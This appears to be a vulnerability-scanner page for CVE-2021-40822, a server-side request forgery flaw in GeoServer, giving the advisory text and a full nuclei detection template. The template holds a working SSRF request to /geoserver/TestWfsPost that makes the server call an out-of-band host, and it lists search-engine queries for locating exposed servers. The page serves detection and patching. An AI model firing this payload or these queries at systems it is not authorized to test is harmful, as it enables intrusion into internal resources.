Geoserver - Server-Side Request Forgery

highseverity

7.5CVSS score

19.3%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.

Fix

Apply the latest security patches or updates provided by the Geoserver project to mitigate the SSRF vulnerability.

How to confirm it

Send: GET {{BaseURL}}/geoserver/
Positive when: contains "geoserver.web" or "geoserverbasepage" or "GeoServer: Redirecting"
Send: POST /geoserver/TestWfsPost
Positive when: contains "<b>Interactsh</b>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-40822 -u <target>

The full check

id: CVE-2021-40822

info:
  name: Geoserver - Server-Side Request Forgery
  author: For3stCo1d,aringo-bf
  severity: high
  description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Apply the latest security patches or updates provided by the Geoserver project to mitigate the SSRF vulnerability.
  reference:
    - https://gccybermonks.com/posts/cve-2021-40822/
    - https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3
    - https://github.com/geoserver/geoserver/releases
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40822
    - https://osgeo-org.atlassian.net/browse/GEOS-10229
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40822
    cwe-id: CWE-918
    epss-score: 0.19259
    epss-percentile: 0.97359
    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: osgeo
    product: geoserver
    shodan-query:
      - title:"GeoServer"
      - http.title:"geoserver"
    fofa-query:
      - app="GeoServer"
      - app="geoserver"
      - title="geoserver"
    google-query: intitle:"geoserver"
  tags: cve2021,cve,ssrf,geoserver,osgeo,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/geoserver/"

    stop-at-first-match: true
    redirects: true
    max-redirects: 3
    matchers:
      - type: word
        part: body
        words:
          - "geoserver.web"
          - "geoserverbasepage"
          - "GeoServer: Redirecting"
        internal: true
        case-insensitive: true

  - raw:
      - |
        POST /geoserver/TestWfsPost HTTP/1.1
        Host: oast.pro
        Content-Type: application/x-www-form-urlencoded

        form_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<b>Interactsh</b>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from